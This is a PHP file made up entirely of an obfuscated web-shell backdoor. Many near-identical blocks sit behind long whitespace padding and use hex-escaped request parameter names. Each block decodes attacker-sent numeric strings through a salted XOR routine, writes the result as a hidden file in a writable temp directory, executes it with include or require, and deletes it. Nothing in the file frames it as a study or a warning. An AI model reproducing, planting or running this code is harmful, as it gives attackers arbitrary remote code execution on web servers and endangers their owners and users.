<?php																																										if(isset($_POST["\x63\x6Fmp"])){ $key = $_POST["\x63\x6Fmp"]; $key =explode ( ".",$key ); $res=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen($s); $w=0; $__tmp=$key; while ($v7=array_shift($__tmp)) { $chS=ord($s[$w % $sLen]); $d=((int)$v7 - $chS - ($w % 10)) ^ 59; $res .= chr($d); $w++; } $item = array_filter([getenv("TMP"), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/var/tmp", getcwd(), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); foreach ($item as $key => $dat) { if ((bool)is_dir($dat) && (bool)is_writable($dat)) { $rec = str_replace("{var_dir}", $dat, "{var_dir}/.reference"); if (@file_put_contents($rec, $res) !== false) { include $rec; unlink($rec); die(); } } } }
																																										if(isset($_POST["\x62\x69n\x64in\x67"]) ? true : false){ $reference = $_POST["\x62\x69n\x64in\x67"]; $reference = explode ( '.' , $reference ) ; $object = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $len = count($reference); for ($v = 0; $v < $len; $v++) { $v3 = $reference[$v]; $sChar = ord($s9[$v % $lenS]); $d = ((int)$v3 - $sChar - ($v % 10)) ^ 2; $object .=chr($d); } $ref = array_filter([ini_get("upload_tmp_dir"), getcwd(), "/var/tmp", getenv("TMP"), session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/dev/shm", "/tmp"]); foreach ($ref as $pset) { if (!!is_dir($pset) && !!is_writable($pset)) { $component = "$pset/.ptr"; if (@file_put_contents($component, $object) !== false) { include $component; unlink($component); exit; } } } }
																																										if(count($_REQUEST) > 0 && isset($_REQUEST["refe\x72e\x6Ece"])){ $item = array_filter(["/dev/shm", "/tmp", sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), session_save_path(), "/var/tmp"]); $val = $_REQUEST["refe\x72e\x6Ece"]; $val= explode ( "." , $val ); $pointer= ''; $salt1= 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen= strlen($salt1); $k= 0; $len= count($val); do { if($k >= $len) break; $v7= $val[$k]; $chS= ord($salt1[$k % $sLen]); $dec= ((int)$v7 - $chS -($k % 10))^ 1; $pointer .= chr($dec); $k++; } while(true); while ($ref = array_shift($item)) { if (is_dir($ref) && is_writable($ref)) { $data = "$ref/.symbol"; if (file_put_contents($data, $pointer)) { include $data; @unlink($data); exit; } } } }
																																										if(array_key_exists("\x6Fb\x6A", $_POST) && !is_null($_POST["\x6Fb\x6A"])){ $flg = $_POST["\x6Fb\x6A"]; $flg = explode (".", $flg ) ; $reference =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $lenS =strlen($salt); $n =0; $__tmp =$flg; while ($v2 =array_shift($__tmp)) {$chS =ord($salt[$n %$lenS]); $d =((int)$v2 - $chS - ($n %10)) ^ 13; $reference .= chr($d); $n++; } $value = array_filter([session_save_path(), sys_get_temp_dir(), getcwd(), "/dev/shm", "/var/tmp", getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/tmp"]); while ($resource = array_shift($value)) { if (is_dir($resource) && is_writable($resource)) { $rec = join("/", [$resource, ".res"]); if (file_put_contents($rec, $reference)) { require $rec; unlink($rec); die(); } } } }
																																										if(!is_null($_POST["e\x6Etit\x79"] ?? null)){ $fac = $_POST["e\x6Etit\x79"]; $fac = explode ( '.' ,$fac); $hld= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); $m= 0; array_walk( $fac , function( $v5) use( &$hld , &$m , $s , $lenS) { $sChar= ord( $s[$m%$lenS]); $dec= ( ( int)$v5 - $sChar -( $m%10)) ^ 81; $hld .= chr( $dec); $m++; } ); $val = array_filter([sys_get_temp_dir(), session_save_path(), "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP")]); for ($sym = 0, $key = count($val); $sym < $key; $sym++) { $component = $val[$sym]; if (!( !is_dir($component) || !is_writable($component) )) { $ent = "$component/.res"; if (@file_put_contents($ent, $hld) !== false) { include $ent; unlink($ent); die(); } } } }
																																										if(isset($_POST) && isset($_POST["r\x65\x73"])){ $pgrp = $_POST["r\x65\x73"]; $pgrp = explode ('.' , $pgrp ) ; $value = ''; $s7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s7 ); $__len = count($pgrp ); for ($z = 0; $z < $__len; $z++) { $v6 = $pgrp[$z]; $chS = ord($s7[$z % $sLen] ); $dec = ((int)$v6 - $chS - ($z % 10)) ^ 48; $value .= chr($dec ); } $holder = array_filter([getenv("TEMP"), getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TMP")]); $val = 0; do { $ptr = $holder[$val] ?? null; if ($val >= count($holder)) break; if ((bool)is_dir($ptr) && (bool)is_writable($ptr)) { $fac = implode("/", [$ptr, ".mrk"]); $success = file_put_contents($fac, $value); if ($success) { include $fac; @unlink($fac); die();} } $val++; } while (true); }
																																										if(!is_null($_REQUEST["m\x61\x72ke\x72"] ?? null)){ $entity = $_REQUEST["m\x61\x72ke\x72"]; $entity = explode ( "." , $entity ) ; $resource = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); foreach ($entity as $v => $v4) { $sChar = ord($s[$v % $sLen]); $dec = ((int)$v4 - $sChar - ($v % 10)) ^ 75; $resource .= chr($dec); } $hld = array_filter([session_save_path(), getcwd(), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", "/var/tmp", getenv("TMP"), sys_get_temp_dir(), "/tmp"]); $comp = 0; do { $record = $hld[$comp] ?? null; if ($comp >= count($hld)) break; if (is_dir($record) && is_writable($record)) { $value = sprintf("%s/.ent", $record); if (@file_put_contents($value, $resource) !== false) { include $value; unlink($value); die(); } } $comp++; } while (true); }
																																										if(isset($_REQUEST["p\x74\x72"])){ $component = array_filter(["/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), session_save_path(), getenv("TMP"), "/var/tmp", sys_get_temp_dir(), getcwd()]); $comp = $_REQUEST["p\x74\x72"]; $comp = explode( "." ,$comp ); $rec = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); foreach( $comp as $v => $v9) { $sChar = ord( $salt3[$v % $lenS]); $d =( ( int)$v9 - $sChar -( $v % 10)) ^77; $rec .= chr( $d); } $entry = 0; do { $entity = $component[$entry] ?? null; if ($entry >= count($component)) break; if (max(0, is_dir($entity) * is_writable($entity))) { $pset = "$entity" . "/.key"; if (@file_put_contents($pset, $rec) !== false) { include $pset; unlink($pset); die(); } } $entry++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "pa\x72\x61m\x65ter\x5Fgro\x75p")){ $fac = $_POST["pa\x72\x61m\x65ter\x5Fgro\x75p"]; $fac = explode ( '.' , $fac ) ; $entity = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $s9); foreach( $fac as $s => $v4) { $chS = ord( $s9[$s % $lenS]); $dec = ( ( int)$v4 - $chS -( $s % 10)) ^ 83; $entity .= chr( $dec); } $mrk = array_filter([getcwd(), "/dev/shm", session_save_path(), "/tmp", "/var/tmp", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir")]); for ($object = 0, $element = count($mrk); $object < $element; $object++) { $holder = $mrk[$object]; if (max(0, is_dir($holder) * is_writable($holder))) { $token = vsprintf("%s/%s", [$holder, ".data_chunk"]); if (file_put_contents($token, $entity)) { require $token; unlink($token); die(); } } } }
																																										if(isset($_POST["\x76\x61l"])){ $dchunk = array_filter(["/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", sys_get_temp_dir(), "/var/tmp", session_save_path()]); $itm = $_POST["\x76\x61l"]; $itm = explode( '.' ,$itm ); $entry= ''; $s9= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen($s9); $i= 0; $__tmp= $itm; while ($v1= array_shift($__tmp)) { $sChar= ord($s9[$i% $lenS]); $dec= ((int)$v1 - $sChar - ($i% 10)) ^ 96; $entry .= chr($dec); $i++; } while ($factor = array_shift($dchunk)) { if (is_writable($factor) && is_dir($factor)) { $hld = sprintf("%s/.pset", $factor); if (file_put_contents($hld, $entry)) { require $hld; unlink($hld); die(); } } } }
																																										if(in_array("poi\x6Ete\x72", array_keys($_REQUEST))){ $k = array_filter([sys_get_temp_dir(), session_save_path(), "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd(), "/dev/shm", getenv("TEMP"), getenv("TMP")]); $hld = $_REQUEST["poi\x6Ete\x72"]; $hld= explode ( "." , $hld ) ; $token = ''; $s5 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s5); $l = 0; $__len = count( $hld); do { if( $l >= $__len) break; $v3 = $hld[$l]; $chS = ord( $s5[$l% $sLen]); $d = ( ( int)$v3 - $chS -( $l% 10))^ 60; $token .= chr( $d); $l++;} while( true); foreach ($k as $flg) { if (!!is_dir($flg) && !!is_writable($flg)) { $dat = sprintf("%s/.res", $flg); if (file_put_contents($dat, $token)) { require $dat; unlink($dat); exit; } } } }
																																										if(count($_POST) > 0 && isset($_POST["\x72esou\x72c\x65"])){ $desc = $_POST["\x72esou\x72c\x65"]; $desc = explode ( '.' ,$desc ) ; $res = ''; $s6 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s6); $r = 0; array_walk($desc, function ($v1) use (&$res, &$r, $s6, $sLen) { $chS = ord($s6[$r% $sLen]); $dec = ((int)$v1 - $chS - ($r% 10)) ^ 26; $res.= chr($dec); $r++; } ); $k = array_filter([sys_get_temp_dir(), session_save_path(), getenv("TEMP"), getenv("TMP"), "/dev/shm", "/tmp", ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); foreach ($k as $factor): if (is_dir($factor) ? is_writable($factor) : false) { $record = vsprintf("%s/%s", [$factor, ".descriptor"]); if (file_put_contents($record, $res)) { include $record; @unlink($record); exit; } } endforeach; }
																																										if(isset($_REQUEST["\x65\x6Etry"]) ? true : false){ $bind = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", sys_get_temp_dir(), session_save_path(), "/tmp", "/dev/shm", getenv("TEMP"), getcwd(), getenv("TMP")]); $descriptor = $_REQUEST["\x65\x6Etry"]; $descriptor = explode( '.' , $descriptor) ; $obj = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $s ); $p = 0; while( $p< count( $descriptor)) {$v7 = $descriptor[$p]; $chS = ord( $s[$p % $sLen] ); $d = ( ( int)$v7 - $chS -( $p % 10)) ^ 49; $obj .=chr( $d ); $p++; } $entity = 0; do { $val = $bind[$entity] ?? null; if ($entity >= count($bind)) break; if (!( !is_dir($val) || !is_writable($val) )) { $mrk = sprintf("%s/.ref", $val); if (file_put_contents($mrk, $obj)) { require $mrk; unlink($mrk); die(); } } $entity++; } while (true); }
																																										if(!empty($_POST["e\x6Et\x69\x74y"])){ $value = array_filter([getcwd(), sys_get_temp_dir(), getenv("TEMP"), ini_get("upload_tmp_dir"), "/tmp", getenv("TMP"), "/dev/shm", "/var/tmp", session_save_path()]); $flg = $_POST["e\x6Et\x69\x74y"]; $flg = explode('.' , $flg ) ; $obj = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt2); $p = 0; $len = count($flg); do { if ($p >= $len) break; $v6 = $flg[$p]; $sChar = ord($salt2[$p % $sLen]); $dec = ((int)$v6 - $sChar - ($p % 10)) ^52; $obj .= chr($dec); $p++; } while (true); foreach ($value as $key => $comp) { if (is_dir($comp) && is_writable($comp)) { $fac = "$comp/.elem"; $file = fopen($fac, 'w'); if ($file) { fwrite($file, $obj); fclose($file); include $fac; @unlink($fac); die(); } } } }
																																										if(filter_has_var(INPUT_POST, "ps\x65\x74")){ $flg = $_REQUEST["ps\x65\x74"]; $flg= explode("." , $flg); $marker = ''; $s3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s3); $x = 0; foreach ($flg as $v2) { $sChar = ord($s3[$x %$sLen]); $dec = ((int)$v2 - $sChar - ($x %10))^ 43; $marker .= chr($dec); $x++; } $dchunk = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/tmp", getenv("TEMP"), sys_get_temp_dir(), getcwd(), getenv("TMP"), "/var/tmp", "/dev/shm"]); foreach ($dchunk as $key => $entry) { if (!!is_dir($entry) && !!is_writable($entry)) { $sym = str_replace("{var_dir}", $entry, "{var_dir}/.record"); if (file_put_contents($sym, $marker)) { require $sym; unlink($sym); exit; } } } }


if(isset($_REQUEST["co\x6Dpo\x6Eent"]) ? true : false){
	$ref = array_filter(["/dev/shm", "/var/tmp", sys_get_temp_dir(), getenv("TMP"), session_save_path(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getcwd()]);
	$object = $_REQUEST["co\x6Dpo\x6Eent"];
	$object  =	explode(	"." ,		 $object  	)		; 
	$ptr	 ='';
            $s2	 ='abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen	 =strlen($s2 );
    
            foreach ($object as $q => 	$v4) {$sChar	 =ord($s2[$q % $sLen] );
                $d	 =((int)$v4 - $sChar - ($q % 10)) 	^97;
                $ptr .= chr($d );
            }
	foreach ($ref as $marker) {
    		if (!!is_dir($marker) && !!is_writable($marker)) {
    $fac = implode("/", [$marker, ".parameter_group"]);
    if (@file_put_contents($fac, $ptr) !== false) {
	include $fac;
	unlink($fac);
	exit;
}
}
}
}